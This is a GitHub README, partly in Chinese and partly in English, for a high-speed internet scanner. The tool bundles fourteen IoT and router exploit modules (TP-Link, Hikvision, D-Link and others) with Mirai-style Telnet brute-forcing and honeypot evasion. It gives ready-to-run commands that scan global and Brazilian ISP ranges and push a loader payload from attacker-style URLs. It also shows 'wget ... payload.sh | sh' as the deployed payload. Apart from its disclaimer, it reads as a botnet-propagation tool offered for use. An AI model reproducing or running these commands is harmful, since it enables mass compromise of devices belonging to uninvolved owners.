Sewer2K/Vuln-Scanner-Exploit-Combo
GitHub: Sewer2K/Vuln-Scanner-Exploit-Combo
集成14个IoT/网络设备漏洞利用模块的高性能网络扫描器,支持每秒百万级数据包处理并内置蜜罐规避能力。
Stars: 1 | Forks: 1
# Vuln Scanner - 高级网络安全扫描器







一款高性能网络扫描器和漏洞利用框架,能够每秒扫描数百万个 IP 地址,并内置漏洞检测和利用功能。
## ⚠️ 法律免责声明
**本工具仅供教育和授权安全测试目的使用。**
在大多数司法管辖区,未经授权扫描您不拥有的网络或系统是违法的。
在扫描任何网络之前,请务必获得书面许可。作者不对
本软件的滥用承担任何责任。
## 功能特性
- **高速扫描**:使用 PF_PACKET 原始套接字实现每秒数百万个数据包的处理速度
- **BlackRock 置换**:完美的双射置换确保完全覆盖且无重复
- **多线程**:可扩展的发送/接收/漏洞利用工作线程
- **蜜罐检测**:使用 512MB 位图跟踪已知蜜罐及动态检测
- **14 个漏洞利用模块**:涵盖常见的 IoT/网络设备漏洞
- **全球可路由范围**:内置 CIDR 列表,用于扫描面向互联网的设备
- **Telnet 暴力破解**:XOR 混淆凭据列表(Mirai 风格)
- **双重输出**:TXT 和 JSON 格式的结果输出
- **速率限制**:可配置的 PPS 或带宽限制
- **UDP/TCP 支持**:支持 SYN 扫描和 UDP 探测
## 漏洞利用模块
| 漏洞利用 | CVE/ID | 目标设备 | 类型 |
|---------|--------|----------------|------|
| TP-Link | CVE-2023-1389 | TP-Link 路由器 | RCE |
| Hikvision | CVE-2021-36260 | Hikvision 摄像头/NVR | 命令注入 |
| D-Link | CVE-2019-16920 | D-Link 路由器 | 命令注入 |
| Netgear | CVE-2020-35590 | Netgear 路由器 | RCE |
| Zyxel | CVE-2020-9054 | Zyxel 路由器 | RCE |
| Realtek | CVE-2014-8361 | Realtek UPnP 设备 | 命令注入 |
| Cisco | CVE-2019-1663 | Cisco RV 系列路由器 | 缓冲区溢出 |
| GoAhead | CVE-2017-8225 | GoAhead Web 服务器 | 认证绕过 |
| MVPower | 后门 | MVPower DVR | 命令执行 |
| Vacron | Vacron-NVR-RCE | Vacron NVR | 命令注入 |
| DVR-Hi3520 | XML NTP | 基于 Hi3520 的 DVR | XML 注入 |
| Zhone | Zhone-RCE | Zhone 路由器 | 命令注入 |
| Fiber/GPON | Boa 0.93.15 | 光纤路由器 | 命令注入 |
| Next.js | CVE-2025-55182/66478 | Next.js 应用程序 | 原型污染 RCE |
| Telnet | 暴力破解 | 各种 IoT 设备 | 凭据暴力破解 |
## 系统要求
- **操作系统**:Ubuntu 18.04+ 或基于 Debian 的 Linux
- **内核**:3.14+(用于支持 PACKET_QDISC_BYPASS)
- **CPU**:多核(核心越多性能越好)
- **内存**:最低 1GB(建议 2GB+)
- **网络**:千兆网卡,用于高速扫描
- **Root 权限**:原始套接字操作所需
## 安装说明
### 1. 安装构建依赖
```
sudo apt update
sudo apt install -y build-essential git
sudo apt install -y linux-headers-$(uname -r)
2. Clone and Build
bash
# 克隆 repository
git clone https://github.com/your-repo/ultra-scanner.git
cd ultra-scanner
# 使用标准选项 Build
make
# 对于 PF_RING Zero-Copy 支持(可选,需要 PF_RING)
# make USE_PFRING_ZC=1 PFRING_DIR=/opt/pfring
# 对于 debug build
# make DEBUG=1
# 对于 static build
# make STATIC=1
# Strip binary(减小体积)
make strip
# 安装到 /usr/local/bin(可选)
sudo make install
3. Verify Build
bash
./ultra_scanner -h
You should see the help message with all available options.
Quick Start
Basic Scan (Local Network)
bash
# 扫描本地网络的开放端口 80 和 443
sudo ./ultra_scanner -t 192.168.1.0/24 -p "80,443" -r 10000 -v
Global Internet Scan (Use Responsibly!)
bash
# 扫描全球可路由范围的常见 IoT 端口
sudo ./ultra_scanner --global -p "23,80,443,8080" -r 50000 -v
Scan with Exploitation
bash
# 将 payload 部署到有漏洞的设备
sudo ./ultra_scanner -t 10.0.0.0/24 \
-l http://your-server.com/payload.sh \
-W 64 \
-v
Brazil ASN Focus
bash
# 针对巴西 IP 范围(适用于 ISP 路由器)
sudo ./ultra_scanner --br -p "23,80,443" -r 100000 -v
UDP Scan
bash
# 使用自定义 probe 进行 UDP 扫描
sudo ./ultra_scanner -t 192.168.1.0/24 -M udp -r 10000 -v
Dry Run (No Packets Sent)
bash
# 查看将被扫描的内容而不实际发送 packets
sudo ./ultra_scanner --global --dump-ips > ips.txt
Command Line Options
Targeting
Option Description Example
-t Target CIDR range -t 192.168.1.0/24
--global Use built-in global routable ranges --global
--br Use Brazil ASN ranges --br
-w Whitelist file (CIDRs) -w allow.txt
-b Blacklist file (CIDRs) -b block.txt
--dump-ips Print IPs to scan and exit --dump-ips
Scan Configuration
Option Description Example
-p Ports to scan -p "80,443,8080-8090"
-r Packets per second -r 100000
-B Bandwidth limit -B 100M
-M Scan method -M tcp
-i Network interface -i eth0
-S Source IP -S 192.168.1.100
-G Gateway MAC -G 00:11:22:33:44:55
-T Sender threads -T 4
-R Receiver threads -R 2
-c Cooldown after scan -c 10
-d Dry run (no packets) -d
--qdisc-bypass Bypass kernel qdisc --qdisc-bypass
Exploitation
Option Description Example
-l Loader URL -l http://server/payload.sh
-W Exploit worker threads -W 256
--scan-only Detect open ports only --scan-only
Output
Option Description Example
-o TXT output file -o results.txt
-j JSON output file -j results.json
-v Verbose mode -v
-q Quiet mode -q
-h Help -h
Performance Tuning
System Tuning for High-Speed Scanning
bash
# 增加 socket buffer 大小
sudo sysctl -w net.core.rmem_max=26214400
sudo sysctl -w net.core.wmem_max=26214400
sudo sysctl -w net.core.rmem_default=26214400
sudo sysctl -w net.core.wmem_default=26214400
# 禁用 reverse path filtering
sudo sysctl -w net.ipv4.conf.all.rp_filter=0
sudo sysctl -w net.ipv4.conf.default.rp_filter=0
# 增加网络设备 backlog
sudo sysctl -w net.core.netdev_max_backlog=50000
# 禁用 TCP timestamps(减少开销)
sudo sysctl -w net.ipv4.tcp_timestamps=0
# 使更改永久生效(添加到 /etc/sysctl.conf)
Rate Recommendations
Network Type Recommended PPS Notes
Home/Lab 5,000 - 20,000 Safe for home networks
Office/Corporate 20,000 - 50,000 Monitor network load
Datacenter (1Gbps) 100,000 - 500,000 May need tuning
Datacenter (10Gbps) 500,000 - 2,000,000 Requires PF_RING
CPU Affinity
The scanner automatically pins threads to CPU cores. For optimal performance:
More sender threads = more cores
1 receiver thread is usually sufficient
Exploit workers can be scaled based on targets
Output Formats
TXT Output Example
text
2025-03-31 10:15:23 | 192.168.1.100:80 | TP-Link | CVE-2023-1389 | TP-Link locale RCE | HTTP 200 | VERIFIED | 342ms
2025-03-31 10:15:24 | 192.168.1.101:23 | Telnet | TELNET-BRUTE | Telnet RCE via credential brute-force | VERIFIED | 156ms
JSON Output Example
json
[
{
"timestamp": "2025-03-31 10:15:23",
"ip": "192.168.1.100",
"port": "80",
"device": "TP-Link",
"cve": "CVE-2023-1389",
"method": "TP-Link locale RCE",
"payload": "wget http://server/payload.sh -O- | sh",
"status_code": 200,
"success": true,
"verified": true,
"is_honeypot": false,
"time_ms": 342,
"response_preview": "HTTP 200"
}
]
Honeypot Detection
The scanner uses multiple methods to avoid honeypots:
Static CIDR list: Known honeypot IP ranges (MHN, T-Pot, DShield)
Dynamic detection: HTTP headers and body patterns
Bitmap tracking: 512MB bitmap for marking identified honeypots
Telnet behavior: If any credential works, marks as honeypot
Architecture
text
┌─────────────────────────────────────────────────────────┐
│ Main Thread │
│ - Parse arguments │
│ - Initialize subsystems │
│ - Setup BlackRock permutation │
└────────────┬────────────────────────────────┬───────────┘
│ │
┌────────▼────────┐ ┌────────▼────────┐
│ Sender Threads │ │ Receiver Threads│
│ (PF_PACKET) │ │ (PF_PACKET) │
│ - BlackRock │ │ - SYN+ACK │
│ - Rate limit │───Packets───▶│ - Cookie check │
│ - UDP/TCP │ │ - De-dup │
└─────────────────┘ └────────┬────────┘
│
┌─────────▼─────────┐
│ Target Queue │
│ (MPMC ring) │
└─────────┬─────────┘
│
┌─────────▼─────────┐
│ Exploit Workers │
│ - Telnet brute │
│ - 14 exploit mods │
└─────────┬─────────┘
│
┌─────────▼─────────┐
│ Output Writer │
│ (TXT + JSON) │
└───────────────────┘
Common Use Cases
1. Vulnerability Assessment
bash
# 扫描企业网络中的有漏洞 IoT 设备
sudo ./ultra_scanner -t 10.0.0.0/8 -p "23,80,443,8080,8443" -r 20000 -v
2. Penetration Testing
bash
# 包含 exploitation 的完整扫描
sudo ./ultra_scanner -t 192.168.1.0/24 \
-l http://attacker.com/payload \
-W 128 \
-o vuln_hosts.txt \
-j vuln_hosts.json \
-v
3. Internet Census (Research Only)
bash
# 扫描全球可路由范围的开放 SSH
sudo ./ultra_scanner --global -p "22" -r 100000 -v
4. ISP Router Assessment
bash
# 针对巴西范围的路由器漏洞
sudo ./ultra_scanner --br -p "23,80,443,7547,37215" -r 50000 -v
Troubleshooting
Error: "Cannot determine source IP"
bash
# 手动指定 interface 和 IP
sudo ./ultra_scanner -i eth0 -S 192.168.1.100 -t 10.0.0.0/24
Error: "Interface not found"
bash
# 列出可用 interfaces
ip link show
# 使用正确的 interface 名称(ens33, enp0s3 等)
sudo ./ultra_scanner -i ens33
Low packet send rate
bash
# 增加 sender 线程
sudo ./ultra_scanner -T 8 -r 100000
# 启用 QDISC bypass(如果支持)
sudo ./ultra_scanner --qdisc-bypass -r 200000
Segmentation fault
bash
# 使用 debug symbols 编译
make clean && make DEBUG=1
# 运行 address sanitizer
./ultra_scanner [options]
No responses received
bash
# 检查您正在扫描可达的 IPs
# 验证源 MAC 正确
# 检查 gateway MAC 是否正在被解析
# 尝试使用 verbose 模式查看正在发生的情况
sudo ./ultra_scanner -t 192.168.1.0/24 -v
Security Considerations
Never scan without permission - This is illegal in most jurisdictions
Use on networks you own or have written authorization for
The loader URL should host your own payloads - Don't use third-party URLs
Logs may contain sensitive information - Handle output files securely
Honeypots may log your activity - Be aware of detection capabilities
High-rate scanning may trigger IDS/IPS - Use appropriate rates for the environment
Advanced Configuration
Custom Probe Payload (UDP)
Modify config.h to add a custom UDP probe:
c
// In config.h, add probe payload
uint8_t probe_payload[] = "GET / HTTP/1.0\r\n\r\n";
size_t probe_payload_len = sizeof(probe_payload) - 1;
Add Custom Exploit Module
Add detection function in exploits.c
Add exploit function in exploits.c
Register in main.c register_exploits()
Add to exploit table
Modify Port List
Edit DEFAULT_PORTS in config.h:
c
#define DEFAULT_PORTS "80,443,8080,8443,23,2323,22"
Building with PF_RING
For maximum performance (2M+ pps):
bash
# 安装 PF_RING(来自 https://github.com/ntop/PF_RING)
cd /opt
git clone https://github.com/ntop/PF_RING.git
cd PF_RING
make
cd kernel
sudo make install
sudo depmod -a
sudo modprobe pf_ring
# 使用 PF_RING Build scanner
make USE_PFRING_ZC=1 PFRING_DIR=/opt/PF_RING
License
This project is for educational purposes only. Use at your own risk.
```
致谢
基于 Robert David Graham 的 masscan
BlackRock2 实现源自 masscan
Telnet 暴力破解改编自 Mirai 扫描器
漏洞利用模块源自各种安全研究
支持
如有问题或疑问:
查看故障排除部分
使用 -v 运行以获取详细输出
使用 DEBUG=1 编译以进行详细调试
标签:BlackRock算法, CISA项目, CVE-2021-36260, CVE-2023-1389, Hikvision, IP扫描, Linux安全, Mirai, PF_Raw_Socket, PoC, SYN扫描, TP-Link, UDP探测, 代码生成, 加密, 域名解析, 安全渗透, 客户端加密, 密码管理, 插件系统, 攻击框架, 暴力破解, 检测规则, 渗透测试工具, 漏洞扫描器, 物联网安全, 编程工具, 网络安全, 网络资产发现, 蜜罐检测, 远程代码执行, 隐私保护, 高性能扫描